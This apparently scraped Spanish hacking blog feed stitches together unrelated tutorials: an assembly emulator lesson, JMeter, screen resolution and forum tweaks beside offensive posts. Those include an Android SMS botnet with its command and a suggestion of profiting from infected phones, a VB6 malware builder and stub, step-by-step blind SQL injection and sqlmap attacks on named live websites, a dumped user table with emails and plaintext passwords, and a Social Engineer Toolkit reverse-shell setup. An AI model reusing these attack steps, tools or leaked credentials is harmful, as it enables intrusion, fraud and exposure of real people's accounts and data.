Para ejecutar el programa presione el botón RUN: note que automáticamente se activo la ventana “emulator screen” en la que se pueden observar dos textos impresos, que corresponden la frase y frase_2. Vamos a estudiar más detenidamente la ejecución del programa.
Cierre la ventana “emulator screen”
Prepare el programa para ser ejecutado nuevamente presionando el botón “reload”.
Observe la ventana “original sourse code”, parece que es una copia fiel del código fuente que digito en el IDE (en la Figura 7 puede ver una comparación entre las dos ventanas), pero la primera línea de código está marcada de color amarillo, esto indica que es la primera que se ejecutará al correr el programa.

Figura 7. Comparación entre las ventanas de edición y código fuente.

Si observe la ventana “emulator” (Figura 6), se ha marcado un bloque de bytes almacenados en memoria, precisamente los de las direcciones físicas 07120h, 07121h y 07122h que contiene los datos B8h (que equivalea 184d y al carácter ASCII ‘©’), los otros datos son 10h y 07h.

Los tres juntos equivalen, en lenguaje de máquina, a la MOV AX, @DATA, que ya desensamblada se transforma en mov AX, 0710h, Aparece marcada porque será la primera en ejecutarse.
Un detalle importante es la sustitución de la expresión @DATA por un valor numérico, esta sustitución es producto de la compilación del código fuente que sustituye las etiquetas y nombres de variables por direcciones físicas de memoria.
Presione el botón “single step” note que se ha avanzado una sola línea, dado que se ejecuta una única instrucción, También se han dado cambios en los registros del microprocesador, pero éstos se analizarán en la primera guía de laboratorio. Ejecute la siguiente instrucción, de igual manera se avanzó solo un paso.
Ahora la línea marcada no es de color azul, sino negra, en este caso indica que se trata de una Macroinstrucción, que contiene un conjunto completo de instrucciones que se ejecutan en bloque. 

La lógica de esta estructura tiene varias formas de utilización, en este caso se asemejan a formas que ya aplicó programando en alto nivel, invoca a una función predefinida en una librería o biblioteca (printf o putchar) y para hacerlo, al inicio tiene que colocar una sentencia #include.
Como su nombre lo indica la macroinstrucción imprime una cadena de texto en la pantalla. Esta cadena se especifica pasándole un parámetro a la función, la palabra “frase”. 
Presione nuevamente “single step” observe que en la ventana “emulator” si se ha avanzado en “original sourse code” y no se avanzará hasta ejecutar todas las instrucciones que conforman la macroinstrucción.
Presione tres veces “single step” se activará de forma automática la ventana “emulator screen” e imprimiendo el texto de la cadena frase, note que el signo de dólar “$” final no se ha impreso. 
Presione nuevamente “single step” y se marca la siguiente macroinstrucción, que imprimirá la cadena “línea”. 
Esta cadena no se declarado de la misma forma que las otras, pero aun así se imprime, un detalle importante es que al final de esta cadena se encuentra el dato 24h que corresponde al código ASCII del signo de dólar.
Presione cinco veces “single step” con esto ha bajado el cursor a la siguiente línea,
como si hubiera presionado ENTER en un editor de texto.
Presione cinco veces “single step” para imprimir la cadena “frase_2”
Ahora aparece marcada una línea de instrucción (recuerde el color azul). Analicemos su estructura, La estructura sintáctica de las líneas de instrucción está formada por elementos llamados campos, dependiendo la instrucción específica se puede tener uno o varios campos.
Primer campo se le llama código de operación e indica que es lo deseamos que realice el microprocesador, básicamente nos referimos a la instrucción en misma. 

Este no puede faltar en una línea de instrucción
Segundo y tercer campo se les llama 1º operando y 2º operando campo. Si solo existe el 1º operando indica que la instrucción se ejecutará ese dato (el dato en cuestión puede declararse de forma explícita o estar almacenado en un registro del micro o en alguna localidad de memoria). En caso de existir los dos operandos implica que el 2º operando es la fuente donde está el dato que se procesará y el 1º operando es el destino donde se almacenará el resultado de ejecutar la instrucción.
Tomando como ejemplo la instrucción que en este momento está marcada: 
MOV AX, 4C00h 
Se entiende que MOV es el código de operación e indica que un dato se moverá (en realidad se copiará porque la fuente conservará el dato). Por tener tres campos en esta línea de instrucción el 1º operando es el destino donde se copiará el dato (en este caso el registro Acumulador AX del microprocesador) y el 2º operando es el dato que será movido (en este caso el número hexadecimal 4C00h)

Ejecute la instrucción, note que efectivamente el dato se copió en el registro, lo que puede verificar en la ventana “emulator”
La última línea del código usa la instrucción INT (de interrupción) que es otra forma particular de invocar una función definida previamente, en este caso para terminar el programa y regresar el control del microprocesador al sistema operativo, de forma similar a la sentencia return(0) que se usa en lenguaje C. 
Para visualizar de forma más clara el proceso para imprimir la cadena “línea” edite en el IDE el código fuente, eliminando de el dato 0Dh. Luego de esto realice las acciones listadas anteriormente para crear un nuevo archivo ejecutable. 
Ejecute el programa paso a paso y note coma cambian los mensajes en la pantalla. 
Cambie la cadena, pero ahora solo elimine el 0Ah verifique como afectan los cambios
en la ejecución. 
¿Cuál es la función individual de los datos 0Ah y 0Dh en el programa?
¿Cuál es la relación de estos y el código ASCII? 
Para terminar este primer acercamiento con el EMU8086 es importante mostrarle una de las ventanas más útiles del emulador la ventana de “variables”, es muy similar a la herramienta match del lenguaje C en la que usted podía monitorear el estado de las variables declaradas a medida que el programa se va desarrollando.

Recargue el programa y cierre la venta “emulator screen”. Usando los botones de la parte inferior del “emulator” active la ventana denominada “var”. Observará que están listadas las tres variables declaradas al inicio del archivo fuente como se muestra en la Figura 8a.
Note que aparece marcada la variable frase e indica que su contenido es 48 hexadecimal (indicado por la casilla llamada “show as”), pero sabemos que esta variable contiene más datos, para poder verlos todos juntos, cambien el datos en la casilla “elements” de 1 a 7, observará una serie de datos hexadecimales. Puede cambiar la representación a datos ASCII cambiando la opción en la casilla “show as” y verificar que efectivamente es el contenido de la cadena “frase”, Figura 8b. Si durante la ejecución del programa el contenido de la cadena cambia en esta ventana podrá observarlo.
Marque la segunda variable llamada “frase_2” observe la información, se le indica que el contiene el dato 53h, cambie la representación de datos a ASCII y la cantidad de elementos de 1 a 8, debería observas la misma información que ve en la Figura 8c.
Ahora marque la tercera variable “línea”, el contenido es 0Ah, cambie a representación ASCII y 3 elementos, debería observas la misma información que ve en la Figura 8d. 

Bueno con estas ideas básicas podrá iniciar el estudio de la programación en lenguaje ensamblador apoyándose en los recursos que le brinda el EMU8086, adelante

Figura 8. Ventana auxiliar para monitorear el contenido de las variables declaradas

Testing de Performance con JMeter

$
0
0
Introducción:
Resumiendo un poco, Los testing de performance permiten conocer el mal desempeño de alguna aplicación.
JMeter es uno de los programas más usados a la hora de hacer un testing de performance ya que es muy fácil de manejar. Carece de un buen reporte de resultados, pero aun así muestra todos los resultados necesarios para este tipo de testing.
JMeter se puede usar para aplicaciones que manejen estos protocolos:

Web – HTTP, HTTPS
SOAP
Database via JDBC
LDAP (Lightweight Directory Access Protocol)
JMS (Java Message Service)
Mail – POP3

Cabe aclarar que JMeter funciona con todos los navegadores.
Sin más nada que decir, empezaremos a usarlo.

Primeros pasos con JMeter
Empezaremos descargando JMeter de su página oficial: http://jmeter.apache.org/download_jmeter.cgi
Es una herramienta Open source y se darán cuenta cuando la descarguen.
Una vez descargada, la descomprimimos y vamos al directorio bin y ejecutamos el archivo llamado jmeter.bat y veremos una pantalla similar a la siguiente imagen:


Para comenzar, añadiremos un grupo de hilos, que es el que contendrá todos los pasos a testear.
Para ello vamos:
Plan de Pruebas  >>  Añadir  >>  Hilos (Usuarios)  >>  Grupo de Hilos

 Colocamos un nombre para identificarlo:

 Como se puede ver, se puede aumentar el número de hilos, cada cuantos segundos queremos que se corran las iteraciones, etc.
Ahora crearemos un banco de trabajo. Para ello clickeamos sobre Banco de trabajo con el click derecho del mouse
Y nos dirigimos a:
Añadir  >>  Elementos NoDePrueba  >>  Servidor Proxy HTTP

Ahora configuraremos la conexión entre el programa y el navegador para que JMeter pueda recibir todo lo que se escucha por un puerto específico

 
Como se puede ver, el primer recuadro rojo es para el puerto, este mismo puerto es el que debemos colocar en nuestro navegador.
El segundo cuadro es para el Controlador Objetivo, en el cual pondremos el hilo que hemos creado en el plan de pruebas.
Como se pueden crear muchos hilos, debemos seleccionar cual es el que deseamos grabar en ese momento. Entonces todo lo que naveguemos quedara guardado en ese controlador de objetivo que seleccionemos.
Finalmente se puede excluir algunas extensiones. Yo en mi caso saque las imágenes, Pero eso ya es opcional.
Una vez que tengamos hecho eso, configuraremos el navegador. Yo usare Firefox.
Nos vamos a:
Herramientas  >>  Opciones
En las opciones avanzadas, vamos a la pestaña Red y entramos a las configuraciones de la conexión:

Seleccionamos la configuración manual del proxy, y en Proxy HTTP, colocamos localhost y en puerto, debemos poner el mismo que habíamos puesto en JMeter. Que en mi caso es el 8080.

 Una vez que tenemos esto, damos aceptar.
Volvemos al JMeter y ahora presionamos en Arrancar para empezar a grabar los pasos.

Grabando los pasos

 Ahora si podemos comenzar a navegar para guardar los pasos.

Una vez que finalizamos de hacer el recorrido de navegación, o los pasos a testear, frenamos el JMeter para dejar de grabar

Bueno, con esto ya hemos grabado todos los pasos. Ahora vamos a ver un poco los resultados
Si miramos en la izquierda, aparece el icono del hilo y con una chincheta que se puede abrir

 Haciendo click en ella, podremos ver todos los pasos y todo lo que paso por entre medio al navegar.

 
Obteniendo resultados
Ahora solo nos queda ver en que tiempo responde la navegación y demás. Para ello, añadimos un reporte de resumen
Con el click derecho del mouse en Plan de Pruebas
Añadir  >>  Receptor  >>  Reporte Resumen

 Y como podemos ver, se añade debajo del hilo

 Ahora solo nos queda correr el hilo y ver los resultados.

 Damos click en Arrancar, que es el botón verde con el Play y esperamos los resultados

 En el reporte podemos ver los valores de respuesta de cada elemento de la página, si hay porcentaje de error y demás.
Así como añadimos en este caso reporte de resumen, JMeter permite hacer graficas y otros reportes bastantes útiles que se añaden de la misma forma que el que acabamos de ver.
A demás como dije antes, se pueden añadir iteraciones para simular el ingreso de más de un usuario a la aplicación y ver como responde esta.
Espero que les haya gustado este paper y que les sea útil!

ANTRAX

Android Botnet

$
0
0
Hola a todos los lectores de mi blog. LLevaba tiempo sin postear nada en el blog y se debe a que he estado inviertiendo tiempo en underc0de.
En esta ocasion les traigo algo muy curioso que encontre, se trata de una botnet para telefonos moviles con Android.
La funcion principal es infectar muchos telefonos moviles, y luego por medio de comandos, ejecuta alguna accion. En este caso es el envio de sms.
Pensando un poco, llegue a la conclusion de que se le podria sacar provecho con esas paginas que pagan por sms. Ya que si se infectan 50 telefonos y se envian 4 mensajes con cada uno de ellos, harian un total de 200 sms... Imaginen el dinero que se podria sacar con eso...
No expongo esto para que hagan exactamente eso, sino para que estudien su codigo y para que vean con que fuerza se vienen estos nuevos malwares futuristicos.


El comando del bot es:

BOT: SPAM {number to spam} {message}

Saludos a todos!

ANTRAX



Server Builder [VB6]

$
0
0
Hola a todos. En este tutorial les voy a enseñar a hacer un Builder para que puedan utilizarlo a la hora de programar un malware.
Les dejare un ejemplo bastante simple, y se los tratare de explicar lo mejor posible para que lo puedan entender sin problemas.
Primero debemos crear un nuevo proyecto con un EXE Estandar

Builder:
En el formulario colocaremos 2 TextBox y 1 Boton (Los labels son opcionales ya que no afectan al funcionamiento)
Y en su codigo lo siguiente:

Declaracion de variables:
'Declaraciones
Dim std As String

Boton Build:
Private Sub Command1_Click()

Open App.Path & "\Stub.exe" For Binary As #1 'Busca y abre el Stub en el mismo dir en donde esta el cliente
std = Space(LOF(1)) 'Space: Devuelve una cadena que consta del número especificado de espacios.
'LOF: Devuelve un valor Long que representa el tamaño, en bytes, de un archivo abierto mediante la función FileOpen.
Get #1, , std 'Obtiene el valor de bytes de la variable std
Put #1, , std & "{Dil}" 'Inserta un {Dil} al final del stub
Put #1, , Text1.Text & "{Dil}" ' Coloca en el Stub lo ingresado en el text1 (DNS/IP) seguido de un {Dil}
Put #1, , Text2.Text & "{Dil}" ' Coloca en el Stub lo ingresado en el text2 (Puerto) Seguido de un {Dil}

MsgBox ("Listo!") ' Si todo esta bien muestra el mensaje de ok!

End Sub

Stub:
Ahora abrimos un nuevo proyecto y aqui crearemos el Stub que se modificara.
En el formulario ponemos 2 TextBox. Y en ellos mostraremos los valores que hemos ingresado desde el Builder

Y el codigo seria el siguiente:
Veriables:
'Declaraciones
Dim std As String
Form Load:
Private Sub Form_Load()

Open App.Path + "\" & App.EXEName & ".exe" For Binary As #1
std = Space(LOF(1))
Get #1, , std
Close #1

Text1.Text = Split(std, "{Dil}")(1)
Text2.Text = Split(std, "{Dil}")(2)


End Sub

No comente las lineas por que creo que esta mas que claro. En definitiva lo que hace es tomar lo ingresado en el Builder y colocarlo en el Text1 y Text2

Una vez hecho esto, generamos el *.EXE y lo colocamos en la misma carpeta del Builder.

Ahora corremos el Builder, colocamos los datos y revisamos.
Yo puse una NO-IP y un Puerto. Ahora revisamos el Stub para ver si aparecen correctamente los datos que ingresamos:

Como se puede ver, ejecute el Stub y me mostro los datos. Y si lo abro con un editor Hexadecimal, puedo ver el EOF con los datos ingresados.

Eso es todo, espero que les haya gustado! Luego les mostrare como meter el Stub dentro del Builder, para que directamente genere el ejecutable ya configurado.

Blind SQLi [SQLi a ciegas]

$
0
0
Introducción:
Hola a todos los lectores, en este Nuevo paper vamos a ver la Blind SQLi, como es, para que sirve y como emplearla. Intentare explicarlo lo mejor posible y con un ejemplo para que puedan guiarse mejor. Aclaro que este tutorial está hecho con fines educativos y no destructivos. No me hago responsable del mal uso que puedan darle.

¿Qué es Blind SQLi?
Blind SQLi o Ataque a ciegas por SQLi es otro método o alternativa a la tradicional SQLi, es utilizada cuando la web no tira ningún tipo de error ya que los webmasters han quitado la o desactivado el SHOW_WARNINGS y SHOW_ERRORS que son los encargados de imprimir errores en pantalla cada vez que se hace una petición errónea a la base de datos pero si podemos comprobar datos por medio de verdaderos o falsos y a lo largo de este paper veremos a que se refiere con esos verdaderos y falsos. El nombre Blind SQLi o SQLi a ciegas hace referencia a que los nombres de las tablas y demás datos que saquemos, lo haremos adivinándolo ya que no mostrara ningún error en pantalla.
Para este paper usaremos la siguiente url como ejemplo: http://digitaria.net

 
Como se puede ver, es de alguien que diseña websites, vamos a ver que tal es el servicio que ofrece…
Para saber si es o no vulnerable, debemos buscar algún sitio en donde haga peticiones a la bd para poder inyectar. Yo probare usando esto: http://www.digitaria.net/noticia.php?id=25

 
Para probar si la web es vulnerable o no, vamos a aplicar intentar ver si nos arroja esos verdaderos o falsos de los que hablamos anteriormente.
Lo que debemos hacer es añadirle a la url esto:
AND 1=1    >> Verdadero
AND 1=0    >> Falso
O sea que si tenemos la url: http://www.digitaria.net/noticia.php?id=25
Para el caso verdadero seria: http://www.digitaria.net/noticia.php?id=25 AND 1=1
Para el caso falso seria: http://www.digitaria.net/noticia.php?id=25 AND 1=0
Veamos como afecta esto en la visualización de la página…
Verdadero:

 Falso:

Como se puede ver, el caso falso no carga nada…
Existen variables al AND como lo es el having

Verdadero >> Having 1=1
Falso >> Having 1=0

Entre otros… Pero nosotros usaremos el AND para no complicarnos tanto…
Ahora vamos a buscar el nombre de alguna tabla de la cual podamos obtener datos que a nosotros nos interese. En este caso, yo quiero encontrar alguna tabla de usuarios o administradores para poderme loguear.
Comencemos…
A nuestra url le vamos a añadir:

AND (SELECT(COUNT(*)) FROM usuarios);

Debería quedar así: 

http://www.digitaria.net/noticia.php?id=25 AND (SELECT(COUNT(*)) FROM usuarios);

El COUNT sirve para realizar un contador con el número de filas que tenga una tabla.
Con esto haremos la consulta para saber si la tabla usuarios existe o no

 
Falso… Debemos seguir probando, hasta que algún nombre que coloquemos de verdadero.
Después de probar varias veces, logre dar con el nombre de la tabla que tiene información valiosa. El nombre de esta tabla es admin y como se ve en la imagen, me volvió a mostrar el contenido, esto quiere decir que es Verdadero.

 
Ahora veremos cuantos registros tiene esta tabla. O sea cuantos usuarios admines tiene esta página. Para ello, modificaremos un poco lo que colocamos anteriormente por esto:

AND (SELECT(COUNT(*)) FROM admin) > 7
Esto quiere decir que hay más de 7 admines

AND (SELECT(COUNT(*)) FROM admin) < 7
Menos de 7 admines

AND (SELECT(COUNT(*)) FROM admin) = 7
Hay 7 admines

En mi caso me dio Verdadero el Segundo caso… Hay menos de 7 admines.
 
Sigo probando bajando la cantidad, hasta que finalmente puedo adivinar cuantos registros hay.
En este caso solo hay 1 solo admin. Si coloco:

AND (SELECT(COUNT(*)) FROM admin) = 1
Me dará Verdadero

Lo que sigue ahora, es buscar los nombres de las columnas para ello inyectaremos lo siguiente:

AND (SELECT(COUNT(name)) FROM usuarios)

En donde “name” será el nombre de la columna que intento adivinar

Falso…
Después de probar varias veces, llegue a que el nombre de una de las columnas se llama “user”
 
Ahora deberíamos seguir probando, hasta dar con el nombre de la columna de la tabla que contiene las contraseñas, ids, entre otras que pueden ser de valor para nosotros... Después de probar con varios nombres como password, passwords, clave, etc… llegue al punto en que me dio verdadero al colocar “pass” y también al colocar “cod”

AND (SELECT(COUNT(pass)) FROM admin)
AND (SELECT(COUNT(cod)) FROM admin) 

Hasta ahora ya tenemos el nombre de la tabla del admin, y el de la columna de id o código, usuario y contraseña.
Ahora veremos como saber que longitud tiene el usuario y la contraseña, esto lo hacemos para saber cuantos caracteres tiene el user y la pass.
Como sabemos que hay 1 solo admin, podemos probar poniendo esto:

AND (SELECT length(user) FROM admin where cod=1) < 7

Explico la línea, Length sirve para saber la cantidad de caracteres que tiene, en este caso la columna user. En donde el cod sea 1. Traducido de forma más fácil, lo que hace esta línea es ver si el usuario tiene menos de 7 caracteres. Y en este caso me da falso…

 
Probare cambiando el signo de lado

AND (SELECT length(user) FROM admin where cod=1) > 7

Para saber si la contraseña tiene más de 7 caracteres, y nuevamente me da falso… esto quiere decir solo una cosa… que la contraseña tiene 7 caracteres. Asique probare poniendo:

AND (SELECT length(user) FROM admin where cod=1) = 7

Y como se puede ver… VERDADERO!!

 
Con esto ya sabemos que el usuario tiene 7 caracteres. Ahora restaría ver cuantos caracteres tiene la contraseña… La inyección es la misma que la que usamos, solo que modificamos user por pass
En mi caso, me dio verdadero que esta inyección:

AND (SELECT length(pass) FROM admin where cod=1) = 7
Tanto el user como la pass tienen 7 caracteres.

Una vez obtenido todos estos datos, podemos pasar a adivinar los datos que contiene cada uno.
Para ello se utiliza la siguiente inyección.

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=97

Ahora explico la linea, lo que hace esta inyección es verificar si la primer letra del usuario empieza con “a”. ¿En dónde me fijo esto? En la siguiente tabla:

Ahí vemos que el 97 corresponde a la letra a.
Seguimos probando, hasta que nos dé Verdadero.
Después de probar un rato, llegue a que comienza con “G”

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=71

 
Para pasar al segundo carácter del usuario, debemos cambiar el ,1,1 por ,2,1 Esto sería como decir, el segundo carácter del primer registro. En mi caso me dio verdadero al probar con la letra “r”

AND ascii(substring((SELECT user FROM admin where cod=1),2,1))=114

Una vez que hayamos adivinado todos los caracteres que posee el usuario, hacemos lo mismo pero con la contraseña modificando el “user” por “pass” por ejemplo:

AND ascii(substring((SELECT pass FROM admin where cod=1),1,1))=103

Debemos ir probando carácter por carácter, hasta volver a obtener todos, Recuerden ir cambiando el ,1,1 por la posición que desean comprobar.
Una vez que finalicen, tendrán el usuario y la contraseña. En mi caso:

User: Gregory
Pass: geg*12a

Ahora si buscamos el panel de admin y probamos los datos:
 
Y… Estamos adentrooo!!

 
Bueno, esto fue todo por ahora, espero que hayan podido entender cada uno de los pasos y que les haya resultado útil para aprender la inyección a ciegas.

Desbloquear la Netbook del Gobierno con un clip [Desbloqueo Definitivo]

$
0
0
Introduccion: 

Hola a todos, en este paper les voy a enseñar a desbloquear definitivamente las netbooks entregadas por el gobierno en Argentina. Esto esta probado con una EXO.


Es muy facil, solo consta en resetear el chip TPM que trae debajo de la memoria RAM.
Lo unico que utilizare sera un clip de hojas, aunque tambien puede ser un clip de pelo.

Desarmado:

Lo primero que debemos hacer, es retirar la bateria
Una vez hecho esto, movemos hacia arriba las dos trabitas que posee debajo de la bateria.


Lo que hace esto, es desprender el teclado. Asique ahora abrimos la tapa de la Netbook y removemos el teclado.


Con cuidado desconectamos esa cinta gris que se ve, que es un cable. Para ello, al final del tramo hay una especie de traba, solo la levantamos y la faja sale sin problemas.

 
Ahora nos toparemos con la chapa de aluminio que esta debajo del teclado y debemos retirarla. Simplemente la desplazamos hacia la izquierda y se desprende.
Como aclare en un principio, el chip se encuentra debajo de la memoria RAM. Asique la retiramos
 Tambien retiraremos el plastico negro que se ve. Ya que el chip se encuentra debajo de el.
Y tenemos el chip!
 
CHIP:

Supuestamente el chip TPM (Trusted Platforn Module) Sirve para mejorar la seguridad ya que almacena contraseñas, cifrados y certificados. Ahora veremos como “hackearlo” con un clip para las hojas…
Lo que debemos hacer ahora, es con el clip tocar la pata 21 y 22 del chip. A continuacion dejo una imagen de cómo se ve el chip aumentado y cuales son las patas que debemos tocar.

Ahora Colocamos la bateria, tocamos con el clip las patas señaladas e introducimos la memoria RAM.
NOTA: La memoria ram no entrara al todo, por lo que debemos tenerla presionada con la mano mientras tocamos las patas.
Una vez hecho esto, encendemos la Netbook (teniendo en contacto las patas del chip y la memoria ram)
La Netbook encendera, pero se quedara trabada en el inicio:

 
Si nos aparece esto, es por que lo estamos haciendo bien! Ahora apagamos la Netbook y repetimos esto unas 3 veces…
Luego de esto, colocamos la memoria RAM y la encendemos (sin tocar las patas del chip) y corroboramos si enciende o no. En caso de encender, armamos y listo! De caso contrario, volvemos a repetir los pasos de hacerle contacto a las patas del chip

 Despedida:

Espero que les haya sido de utilidad y espero que con esto puedan desbloquear sus pcs.
No me hago responsable del mal uso que le puedan dar a este documento o de daños que ustedes puedan producir. Recuerden siempre ser cuidadosos ya que los elementos electronicos son muy sencibles.

Resolucion de pantalla en linux - [SiS] 771/671 PCIE VGA

$
0
0
Hola a todos, hace unos dias decidi pasar mi Notebook bangho a Linux, pero me encontre con que solo me tomaba la resolucion 640x480 y 800x600

Busque por todos lados la solucion, hasta que logre encontrarla.

Lo que hay que hacer es modificar el xorg.conf que seguramente estara vacio. Para hacer esto, abrimos una terminal (CTRL + ALT + T) y tipeamos:
sudo gedit /etc/X11/xorg.conf
Se nos abrira un editor de texto y colocamos lo siguiente:
# xorg.conf (X.Org X Window System server configuration file)
#
# This file was generated by dexconf, the Debian X Configuration tool, using
# values from the debconf database.
#
# Edit this file with caution, and see the xorg.conf manual page.
# (Type "man xorg.conf" at the shell prompt.)
#
# This file is automatically updated on xserver-xorg package upgrades *only*
# if it has not been modified since the last upgrade of the xserver-xorg
# package.
#
# Note that some configuration settings that could be done previously
# in this file, now are automatically configured by the server and settings
# here are ignored.
#
# If you have edited this file but would like it to be automatically updated
# again, run the following command:
# sudo dpkg-reconfigure -phigh xserver-xorg

Section "Device"
Identifier "Configured Video Device"
EndSection

Section "Monitor"
Identifier "Configured Monitor"
Vendorname "Generic LCD Display"
modelname "LCD Panel 1024x768"
Horizsync 31.5-64.0
Vertrefresh 56.0 - 65.0
modeline "1024x768_60.00" 63.50 1024 1072 1176 1328 768 771 775 798 -hsync +vsync
Gamma 1.0
# modeline "640x480@60" 25.2 640 656 752 800 480 490 492 525 -vsync -hsync
# modeline "800x600@56" 36.0 800 824 896 1024 600 601 603 625 +hsync +vsync
# modeline "800x600@60" 40.0 800 840 968 1056 600 601 605 628 +hsync +vsync
# modeline "1024x768_60.00" 63.50 1024 1072 1176 1328 768 771 775 798 -hsync +vsync
# modeline "1280x800_60.00" 40.0 800 840 968 1056 600 601 605 628 +hsync +vsync
EndSection

Section "Screen"
Identifier "Default Screen"
Monitor "Configured Monitor"
Device "Configured Video Device"
EndSection

Con esto logre llevar mi resolución a 1280x768

Espero que les sirva!

Saludos!

Desactivar el buscador del SMF y reemplazarlo por Google

$
0
0
 
Hola a todos, soy ANTRAX. En este tutorial voy a explicar cómo desactivar el buscador de los foros SMF para que el foro consuma menos recursos del servidor y reemplazarlo por uno que utilice los motores de búsqueda de google.
Comenzaremos entrando al FTP y nos dirigimos a la ruta  ./sources
Modificaremos el archivo Subs.php

Buscamos la linea 3910 que contiene lo siguiente:


'href' => $scripturl . '?action=search',

Y lo modificamos por la ruta en donde tendremos el buscador:

'href' => 'http://underc0de.net/buscador',

 Aprovechamos que estamos en la carpeta Sources y eliminamos estos 4 archivos: Search.php, SearchAPI-Custom.php, SearchAPI-Fulltext.php, SearchAPI-Standard.php


Ahora nos dirigimos a: . /Themes/default y buscamos el archivo index.templates.php

Buscamos la línea 142 y la borramos

Finalmente vamos a la ruta ./Themes/MI TEMA y modificaremos el archivo index.template.php

Buscamos y borramos la línea 147.

Ahora modificaremos el archivo index.php que se encuentra en el directorio principal del foro

Quitamos la línea 305 y 306

Una vez hecho todo esto, habremos eliminado por completo el buscador del SMF.

Ahora crearemos el nuevo buscador.
Nos dirigimos a: http://www.google.es/cse/manage/all y creamos un nuevo buscador
Llenamos todos los campos y damos click en Siguiente

Ahora pasamos a personalizar los colores, fuentes, etc.



Una vez finalizado, damos click en Siguiente y podremos ver el código de nuestro buscador.

Ahora abrimos el Notepad, colocamos lo siguiente


<html>
                <head>

CODIGO DEL BUSCADOR

                </head>
</html>

Lo guardamos con extension html y lo subimos a algún servidor.
Obviamente pueden cambiar el estilo de su buscador. Les muestro como quedo el mío:

Espero que les haya sido de utilidad!

Saludos!

ANTRAX

SQLi Automatizado con SQLMAP

$
0
0
Introducción:

En este paper veremos como obtener los datos de admin de una base de datos utilizando SQLMAP.
Para este tutorial usare Backtrack, ya que viene instalado y está listo para usarse.
Para abrirlo vamos a:

Applications  >>  Backtrack  >>  Exploitation Tools  >>  Web Exploitation Tools  >>  sqlmap

A penas abrimos sqlmap, podremos ver todos los parámetros disponibles, ahora solo usaremos los elementales.


Voy a usar una web vulnerable smartenergyhome.eu
Las querys las haremos desde aquí: smartenergyhome.eu/eng/seh-buildings.php?id=9

Extracción de información

Comenzaremos sacando los nombres de las bases de datos, para ello tipeamos:

python sqlmap.py -u target.com/index.php?id=9 --dbs


El programa comenzara a buscar las bases de datos y las mostrara una vez que finalice de correr


En mi caso me trajo 2, de las cuales una es por el cpanel y la otra es de la web.
La que usaremos será la segunda “smartene_SEH
Ahora que tenemos el nombre de la base de datos, sigue buscar las tablas que posee, para ello vamos a tipear:

python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH -- tables


Este comando nos arrojara todas las tablas que tiene el sistema, y obviamente debemos buscar alguna que contenga datos de administradores para podernos loguear


En mi caso, la última tabla tiene el nombre “usuarios” por lo tanto, esa debe ser la tabla que tiene los datos de los admines.
Ahora veremos las columnas que tiene esa tabla de usuarios, para ver si en verdad tiene algún usuario y contraseña para luego entrar al panel de admin…
Ahora que conocemos el nombre de la tabla, vamos a tipear ahora lo siguiente:

python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH –T usuarios -- columns



Esto nos devolverá los nombres de las columnas que tiene dicha tabla.


Como podemos ver, hemos dado con la tabla que buscábamos. Esta tabla posee usuarios y contraseñas.
Para poder ver que datos contiene esta tabla, vamos a tipear:

python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH –T usuarios - -dump

Una vez ejecutado el comando, nos dará los datos que contiene esa tabla

+----+------------------------+------------------+----------+---------------------+----------+
| id | email | nombre | usuario | editado | password |
+----+------------------------+------------------+----------+---------------------+----------+
| 1 | g.zapico@netavanza.com | Gustavo Zapico | gzapico | 2009-03-02 06:02:34 | medica3 |
| 2 | genis@vis-tek.com | Gen\xeds Bayarri | gbayarri | 2009-03-02 06:20:37 | vis-tek |
| 3 | j.berg@bwcv.es | Josefin Berg | jberg | 2009-03-12 05:05:38 | seh2009 |
| 4 | l.bax@bwcv.es | Laszlo Bax | lbax | 2010-03-26 16:46:18 | seh2009 |
+----+------------------------+------------------+----------+---------------------+----------+

Al ser este un tutorial educativo, no ingresaremos al sistema. Simplemente se expone el manejo de esta poderosa herramienta.
ANTRAX
 

Java Applet Attack Method – Backdorizacion con SET

$
0
0
 

Introducción

En este paper vamos a ver como funciona la herramienta SET (Social Engineer Toolkit). Lo utilizaremos para obtener una Shell en la pc que intentamos atacar.
El método que veremos ahora de Applet Attack afecta a Java, por lo que lo convierte en un ataque multiplataforma (Windows – Linux – MAC)
Para este tutorial usare 2 pcs, una para atacar (Backtrack – Linux) y la otra será mi objetivo (Windows 7). Todo lo hare en mi ambiente local.
SET ya viene instalado en Backtrack. Podemos encontrarlo en:

Applications >> BackTrack >> Exploitation Tools >> Social Engineering Tools >> Social Engineering Toolkits >> SET

Cuando lo abramos por primera vez, podremos ver algo como esto:


Son los términos y conficiones de uso. Presionamos la tecla “Y” seguido de la tecla Enter para continuar.

Preparando el Escenario

Una vez dentro, podremos ver algo como esto:


Seleccionamos la primera opción: Social-Engineering Attacks que es a lo que está enfocado este tutorial.

Luego, veremos algo como esto:

 

Seleccionamos la opción 2: Website Attack Vectors

Elegimos esta opción debido a que haremos una especie de FAKE de un Website


Seleccionamos la opción 1, Java Applet Attack Method

A continuación veremos lo siguiente
 


Tenemos 3 opciones…
1)    Web Templates >> SET trae cargado algunos templates ya prediseñados como de Google, Gmail, Facebook, etc… Si deseamos usar alguno de ellos, seleccionamos esta opción
2)    Site Cloner >> Clonar Sitio, yo utilizare esta opción para clonar un sitio en especifico
3)    Custom Import, para importar algún template customizado
En mi caso seleccionare la opción 2


Me detendré un momento en esta parte, ya que son varios pasos juntos.

Por un lado tenemos el primer YES. Este hace referencia a si estamos o no usando NAT. En mi caso pongo Yes, ya que este experimento lo hare en local.

Luego aparece una ip… Esa es mi ip privada (la de mi red interna) del lado izquierdo, en una consola pulse ifconfig y me arrojo la ip que tiene mi pc. En este caso es 192.168.1.8 y esa misma ip es la que debo poner en SET.

Luego aparece el NO. Ese no es por el mismo motivo de que estoy testeando todo en local y no en una red externa.

Finalmente me pide que ingrese la URL a clonar (En el paso anterior había seleccionado la opción “Site Cloner”) asique ahora coloque la url del sitio que deseo clonar y es underc0de.org


Ahora tenemos montones de cosas que podemos hacer. Yo seleccionare la primera opción, Windows Shell Reverse TCP. Para obtener una Shell de la pc que estoy atacando.



Ahora nos salen métodos de ejecutar el método, y siempre se suele seleccionar el que tiene el BEST. En este caso es el numero 16 Backdoored Executable (BEST)

Luego nos pedirá un puerto de escucha, y por defecto aparece el 443, asique dejaremos ese.

Una vez hecho todo esto, comenzara a crear el clon de la web. Simplemente lo dejamos correr hasta que finalice… Suele demorar unos minutos…



